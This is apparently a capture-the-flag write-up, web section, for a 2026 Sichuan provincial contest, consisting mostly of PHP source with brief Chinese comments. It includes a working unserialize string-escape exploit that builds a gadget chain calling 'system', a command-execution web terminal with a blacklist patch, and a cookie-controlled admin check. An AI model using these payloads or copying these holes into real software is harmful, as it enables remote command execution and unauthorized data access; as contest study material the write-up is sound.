四川省赛2026 WRITEUP-web部分

<?php

namespace App\Services;

use App\Core\Codec;
use App\Core\Store;
use App\Models\Memo;

class MemoService
{
    private Store $store;

    public function __construct(Store $store)
    {
        $this->store = $store;
    }

    public function create(array $input): int
    {
        $memo = new Memo();//memo这个类存我写的日志
        $memo->name = (string) ($input['name'] ?? '');//强制
        $memo->category = trim((string) ($input['category'] ?? '未分类'));
        $memo->content = (string) ($input['content'] ?? '');

        $serdata = Codec::encode(serialize($memo));//先serialize 再Codec::encode

        return $this->store->save($serdata);
    }

    public function find(int $id): ?Memo
    {
        $serdata = $this->store->find($id);
        if ($serdata === null) {
            return null;
        }

        $memo = @unserialize($serdata);
        return $memo instanceof Memo ? $memo : null;
    }

    public function recent(int $limit = 20): array
    {
        $memos = [];
        foreach ($this->store->all() as [$id, $serdata]) {
            $memo = @unserialize($serdata);
            if ($memo instanceof Memo) {
                $memos[$id] = $memo;
            }
        }

        return array_slice($memos, -$limit, null, true);
    }

    public function search(string $keyword): array
    {
        $memos = [];
        foreach ($this->store->all() as [$id, $serdata]) {
            $memo = @unserialize($serdata);
            if ($memo instanceof Memo && mb_stripos((string) $memo->name, $keyword) !== false) {
                $memos[$id] = $memo;
            }
        }
        return $memos;
    }
}

<?php

namespace App\Core;

class Codec
{
    private const CONTROL = [
        "\x00", "\x01", "\x02", "\x03", "\x04", "\x05", "\x06", "\x07", "\x08",
        "\x09", "\x0a", "\x0b", "\x0c", "\x0d", "\x0e", "\x0f", "\x10", "\x11",
        "\x12", "\x13", "\x14", "\x15", "\x16", "\x17", "\x18", "\x19", "\x1a",
        "\x1b", "\x1c", "\x1d", "\x1e", "\x1f", "\x7f",
    ];

    private static ?array $map = null;

    private static function map(): array
    {
        if (self::$map !== null) {
            return self::$map;
        }

        $map = [];
        foreach (self::CONTROL as $char) {
            $map[$char] = '';
        }
        return self::$map = $map;
    }

    public static function encode(string $payload): string
    {
        return strtr($payload, self::map());
    }
}

<?php

namespace App\Utils;

class TaskRunner
{
    public $callback;

    public function run(string $task, array $payload = []): mixed
    {
        return call_user_func_array($this->callback, [$task, $payload]);
    }

    public function __call(string $name, array $arguments): mixed
    {
        return call_user_func_array($this->callback, $arguments);
    }
}

<?php

namespace App\Core;

class Template
{
    public $engine;
    public $template;

    public function render(array $vars = []): string
    {
        if ($this->engine === null) {
            return '';
        }
        return (string) $this->engine->compile($this->template);
    }

    public function __toString(): string
    {
        return $this->render();
    }
}
 

<?php $entryId = (int) ($_GET['id'] ?? 0); ?>

<article class="entry">
  <a class="back" href="/">← 返回日志档案</a>

  <header class="entry-head">
    <p class="eyebrow">FIELD LOG · ENTRY NO. <?= str_pad((string) $entryId, 4, '0', STR_PAD_LEFT) ?></p>
    <h1><?= e($memo->name) ?></h1> //这里触发__toString()
    <div class="entry-meta">
      <span class="cat"><?= e($memo->category) ?></span>//这里触发__toString()
      <span class="meta-dim">MIST ISLE OBSERVATORY</span>
      <span class="meta-dim">INTERNAL ARCHIVE</span>
    </div>
  </header>

  <div class="entry-body">
    <?= nl2br(e($memo->content)) ?>//这里触发__toString()
  </div>

  <footer class="entry-foot">
    <span>RECORDED BY DUTY   </span>
    <span aria-hidden="true">◌</span>
    <span>ARCHIVED</span>
  </footer>
</article>

<?php

if (!function_exists('e')) {

    function e(mixed $value): string
    {
        return htmlspecialchars((string) $value, ENT_QUOTES, 'UTF-8');//string
    }
}

<?php
use App\Core\Autoloader;

define('APP_ROOT', __DIR__);
require APP_ROOT . '/app/Core/functions.php';
require APP_ROOT . '/app/Core/Autoloader.php';
Autoloader::register();
Autoloader::addNamespace('App\\Base', APP_ROOT . '/app/Base');
Autoloader::addNamespace('App\\Core', APP_ROOT . '/app/Core');
Autoloader::addNamespace('App\\Models', APP_ROOT . '/app/Models');
Autoloader::addNamespace('App\\Services', APP_ROOT . '/app/Services');
Autoloader::addNamespace('App\\Controllers', APP_ROOT . '/app/Controllers');
Autoloader::addNamespace('App\\Utils', APP_ROOT . '/app/Utils');
 
$poc =  new App\Core\Template();
$poc ->engine = new App\Utils\TaskRunner();
$poc ->engine -> callback = 'system';
$poc ->template = 'id';

echo serialize($poc);

// ===== 字符串逃逸 =====
$value = serialize($poc);

$inject = '";'.'s:7:"content";'.$value.'s:1:"x";s:1:"y";' . '}';
$k = strlen('";s:8:"category";s:'.strlen($inject).':"');

echo "\nname(hex)= ".bin2hex('a'.str_repeat("\x00", $k))."\n";
echo "category = ".$inject ."\n";
?>

<?php
$f = @fopen('/flag', 'r');
$ok = false;
if ($f) {
    $s = fstat($f);
    $ok = $s['size'] > 0;
}

$out = '';
if (isset($_POST['cmd']) && ($c = trim($_POST['cmd'])) !== '') {
    putenv('PATH=/bin');
    putenv('HOME=/tmp');
    $out = (string) shell_exec('/bin/busybox chroot /sandbox /bin/sh -c ' . escapeshellarg($c) . ' 2>&1');
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>DevTerm · 云开发终端</title>
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<div class="terminal">
<div class="bar"><span class="dot red"></span><span class="dot yellow"></span><span class="dot <?= $ok ? 'green' : 'gray' ?>"></span><span class="bar-title">dev-server: /sandbox</span></div>
<div class="screen">
<div class="welcome"><div class="welcome-title">DevTerm · 云开发终端</div><div class="welcome-sub">命令运行在隔离开发沙箱中，沙箱内文件可自由读写</div></div>
<?php if ($out !== ''): ?><pre class="out"><?= htmlspecialchars($out) ?></pre><?php endif; ?>
<form method="post" class="cmdline"><span class="prompt">sandbox$</span><input type="text" name="cmd" id="cmd" placeholder="输入命令，例如 ls -la" autofocus autocomplete="off"><button type="submit">执行</button></form>
</div>
</div>
</body>
</html>

protected function consoleContext()
    {
        $context = (string)$this->request->getCookie('console', ''); //授权依据来自 Cookie
        return $context === '' ? self::CONSOLE_STUDENT : $context;
    }

<?php
$f = @fopen('/flag', 'r');
$ok = false;
if ($f) {
    $s = fstat($f);
    $ok = $s['size'] > 0;
}

$out = '';
if (isset($_POST['cmd']) && ($c = trim($_POST['cmd'])) !== '') {
    putenv('PATH=/bin');
    putenv('HOME=/tmp');
    if (preg_match('/(\|;|\$|\`|\$\(|\$\{)/', $c)) {//加正则过滤
                $out = 'Invalid characters in command' . "\n";
                exit;
            }
    $out = (string) shell_exec('/bin/busybox chroot /sandbox /bin/sh -c ' . escapeshellarg($c) . ' 2>&1');
}
?>
<!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>DevTerm · 云开发终端</title>
<link rel="stylesheet" href="/assets/style.css">
</head>
<body>
<div class="terminal">
<div class="bar"><span class="dot red"></span><span class="dot yellow"></span><span class="dot <?= $ok ? 'green' : 'gray' ?>"></span><span class="bar-title">dev-server: /sandbox</span></div>
<div class="screen">
<div class="welcome"><div class="welcome-title">DevTerm · 云开发终端</div><div class="welcome-sub">命令运行在隔离开发沙箱中，沙箱内文件可自由读写</div></div>
<?php if ($out !== ''): ?><pre class="out"><?= htmlspecialchars($out) ?></pre><?php endif; ?>
<form method="post" class="cmdline"><span class="prompt">sandbox$</span><input type="text" name="cmd" id="cmd" placeholder="输入命令，例如 ls -la" autofocus autocomplete="off"><button type="submit">执行</button></form>
</div>
</div>
</body>
</html>

<?php
namespace app\controllers;

use app\models\Course;
use app\models\Score;
use app\models\Student;
use app\support\AvatarRenderer;
use app\support\Role;
use framework\web\BadRequestHttpException;
use framework\web\BinaryResponse;
use framework\web\Controller;
use framework\web\ForbiddenHttpException;
use framework\web\NotFoundHttpException;

/**
 * 教务数据接口：学生档案、课程、成绩、课表与教务统计。
 *
 * 动作由信息门户与管理端控制台两个子控制器继承使用，访问控制由子类在 behaviors() 中声明。
 */
class ApiController extends Controller
{
    /** 信息门户 */
    const CONSOLE_STUDENT = 'student';

    /** 管理端控制台 */
    const CONSOLE_ADMIN = 'adminad'; //！！！！！11直接改的这里

    // ==================== 学生端 ====================

    /**
     * 本人学籍档案。
     */
    public function actionGetInfo()
    {
        $student = $this->currentStudent();
        return ['ok' => true, 'student' => $student->profile()];
    }

    /**
     * 个人信息 · 基本信息。
     */
    public function actionGetBasic()
    {
        $student = $this->currentStudent();
        return [
            'ok' => true,
            'basic' => [
                'stuNo' => (string)$student->stu_no,
                'name' => (string)$student->name,
                'gender' => (string)$student->gender,
                'grade' => (string)$student->grade,
                'major' => (string)$student->major,
                'className' => $student->classInfo() === null ? '' : (string)$student->classInfo()->name,
                'status' => (string)$student->status,
            ],
        ];
    }

    /**
     * 个人信息 · 联系方式。
     */
    public function actionGetContact()
    {
        $student = $this->currentStudent();
        return [
            'ok' => true,
            'contact' => [
                'phone' => (string)$student->phone,
                'email' => (string)$student->email,
                'address' => (string)$student->address,
                'postcode' => (string)$student->postcode,
                'emergencyName' => (string)$student->emergency_name,
                'emergencyPhone' => (string)$student->emergency_phone,
            ],
        ];
    }

    /**
     * 个人信息 · 学籍编号。
     */
    public function actionGetNumber()
    {
        $student = $this->currentStudent();
        return [
            'ok' => true,
            'number' => [
                'stuNo' => (string)$student->stu_no,
                'examNo' => (string)$student->exam_no,
                'idCard' => (string)$student->id_card,
            ],
        ];
    }

    /**
     * 个人信息 · 学籍备注。
     */
    public function actionGetRemark()
    {
        $student = $this->currentStudent();
        return ['ok' => true, 'remark' => (string)$student->remark];
    }

    /**
     * 个人信息 · 头像。
     */
    public function actionGetAvatar()
    {
        $student = $this->currentStudent();
        return $this->avatarOf($student);
    }

    /**
     * 我的课程。
     */
    public function actionGetCourses()
    {
        $student = $this->currentStudent();
        $term = (string)$this->request->get('term', $this->getParam('currentTerm'));
        return [
            'ok' => true,
            'term' => $term,
            'courses' => Course::byStudent((int)$student->id, $term),
        ];
    }

    /**
     * 成绩查询。
     */
    public function actionGetScores()
    {
        $student = $this->currentStudent();
        $rows = Score::byStudent((int)$student->id);
        $totalCredit = 0.0;
        $weighted = 0.0;
        foreach ($rows as $row) {
            $credit = (float)$row['credit'];
            $totalCredit += $credit;
            $weighted += $credit * (float)$row['score'];
        }
        return [
            'ok' => true,
            'scores' => $rows,
            'summary' => [
                'count' => count($rows),
                'credit' => round($totalCredit, 1),
                'average' => $totalCredit > 0 ? round($weighted / $totalCredit, 2) : 0,
            ],
        ];
    }

    /**
     * 我的课表。
     */
    public function actionGetSchedule()
    {
        $student = $this->currentStudent();
        $term = (string)$this->request->get('term', $this->getParam('currentTerm'));
        $days = [];
        foreach (Course::byStudent((int)$student->id, $term) as $course) {
            $day = (int)$course['weekday'];
            if (!isset($days[$day])) {
                $days[$day] = [];
            }
            $days[$day][] = [
                'name' => (string)$course['name'],
                'location' => (string)$course['location'],
                'startPeriod' => (int)$course['start_period'],
                'endPeriod' => (int)$course['end_period'],
                'teacher' => (string)$course['teacher_name'],
            ];
        }
        ksort($days);
        return ['ok' => true, 'term' => $term, 'days' => $days];
    }

    /**
     * 修改密码。
     */
    public function actionUpdatePassword()
    {
        if (!$this->request->isPost()) {
            throw new BadRequestHttpException('请求方式错误');
        }
        $student = $this->currentStudent();
        $oldPassword = (string)$this->request->post('oldPassword', '');
        $newPassword = (string)$this->request->post('newPassword', '');
        if (!$student->verifyPassword($oldPassword)) {
            throw new BadRequestHttpException('原密码不正确');
        }
        if (strlen($newPassword) < 6) {
            throw new BadRequestHttpException('新密码长度不能少于 6 位');
        }
        $student->updateAttributes(['password' => Student::hashPassword($newPassword)]);
        return ['ok' => true];
    }

    // ==================== 管理端 ====================

    /**
     * 学生名单（分页）。
     */
    public function actionGetStudents4Admin()
    {
        $this->assertConsole(self::CONSOLE_ADMIN);

        $page = max(1, (int)$this->request->get('page', 1));
        $size = (int)$this->request->get('size', 20);
        $size = $size < 10 ? 20 : min(100, $size);
        $keyword = trim((string)$this->request->get('keyword', ''));
        $classId = (int)$this->request->get('classId', 0);

        $result = Student::page($page, $size, $keyword, $classId);
        $result['page'] = $page;
        $result['size'] = $size;
        return ['ok' => true] + $result;
    }

    /**
     * 学生档案详情。
     */
    public function actionGetInfo4Admin()
    {
        $this->assertConsole(self::CONSOLE_ADMIN);

        $student = $this->findStudentByUid((string)$this->request->get('uid', ''));
        return ['ok' => true, 'student' => $student->profile()];
    }

    /**
     * 学生头像（档案照片或占位图）。
     */
    public function actionGetAvatar4Admin()
    {
        $this->assertConsole(self::CONSOLE_ADMIN);

        $student = $this->findStudentByUid((string)$this->request->get('uid', ''));
        return $this->avatarOf($student);
    }

    /**
     * 系统更新日志。
     */
    public function actionGetUpdateLog4Admin()
    {
        $this->assertConsole(self::CONSOLE_ADMIN);

        $path = $this->getParam('dataPath') . '/update.log';
        $entries = [];
        $lines = is_file($path) ? file($path, FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES) : [];
        foreach (array_reverse($lines) as $line) {
            if (preg_match('/^(\d{4}-\d{2}-\d{2} \d{2}:\d{2}:\d{2}) \[(\w+)\] (.+)$/u', $line, $matches) !== 1) {
                continue;
            }
            $entries[] = [
                'time' => $matches[1],
                'level' => $matches[2],
                'message' => $matches[3],
            ];
        }
        return ['ok' => true, 'entries' => $entries, 'total' => count($entries)];
    }

    /**
     * 数据统计。
     */
    public function actionGetStats4Admin()
    {
        $this->assertConsole(self::CONSOLE_ADMIN);

        $term = (string)$this->request->get('term', $this->getParam('currentTerm'));
        $active = 0;
        $byStatus = Student::countByStatus();
        foreach ($byStatus as $row) {
            if ((string)$row['status'] === '在读') {
                $active = (int)$row['total'];
            }
        }
        return [
            'ok' => true,
            'term' => $term,
            'total' => Student::count(),
            'active' => $active,
            'byStatus' => $byStatus,
            'byClass' => Student::countByClass(),
            'courses' => Course::countByTerm($term),
        ];
    }

    // ==================== 内部方法 ====================

    /**
     * 当前控制台上下文：页面登录后由前端记录所在控制台，接口按上下文决定返回口径。
     */
    protected function consoleContext()
    {
        $context = (string)$this->request->getCookie('console', '');
        return $context === '' ? self::CONSOLE_STUDENT : $context;
    }

    /**
     * 上下文校验：部分接口只在指定控制台开放。
     */
    protected function assertConsole($context)
    {
        if ($this->consoleContext() !== (string)$context) {
            throw new ForbiddenHttpException('当前界面不支持该操作');
        }
    }

    /**
     * 当前会话对应的学生档案。
     *
     * @return Student
     */
    protected function currentStudent()
    {
        $identity = $this->identity;
        if ($identity === null || $identity['role'] !== Role::STUDENT) {
            throw new ForbiddenHttpException('该接口仅供学生账号使用');
        }
        $student = Student::findOne(['id' => (int)$identity['id']]);
        if ($student === null) {
            throw new NotFoundHttpException('学生档案不存在');
        }
        return $student;
    }

    /**
     * 按 uid 取学生档案。
     *
     * @return Student
     */
    protected function findStudentByUid($uid)
    {
        if ($uid === '' || ctype_digit($uid) === false) {
            throw new BadRequestHttpException('uid 参数不合法');
        }
        $student = Student::findOne(['id' => (int)$uid]);
        if ($student === null) {
            throw new NotFoundHttpException('学生档案不存在');
        }
        return $student;
    }

    /**
     * 头像响应：已导入照片的学生读档案照片，其余按学号生成占位头像。
     *
     * @return BinaryResponse
     */
    protected function avatarOf(Student $student)
    {
        $photo = (string)$student->photo;
        if ($photo !== '') {
            $path = $this->getParam('dataPath') . '/avatars/' . basename($photo);
            if (is_file($path)) {
                return new BinaryResponse((string)file_get_contents($path), $this->mimeTypeOf($path));
            }
        }
        $stuNo = (string)$student->stu_no;
        return new BinaryResponse(AvatarRenderer::render($stuNo, $stuNo, (string)$student->photo_caption), 'image/png');
    }

    /**
     * 按扩展名判断内容类型。
     */
    protected function mimeTypeOf($path)
    {
        $extension = strtolower((string)pathinfo($path, PATHINFO_EXTENSION));
        $map = [
            'png' => 'image/png',
            'jpg' => 'image/jpeg',
            'jpeg' => 'image/jpeg',
            'gif' => 'image/gif',
        ];
        return isset($map[$extension]) ? $map[$extension] : 'application/octet-stream';
    }
}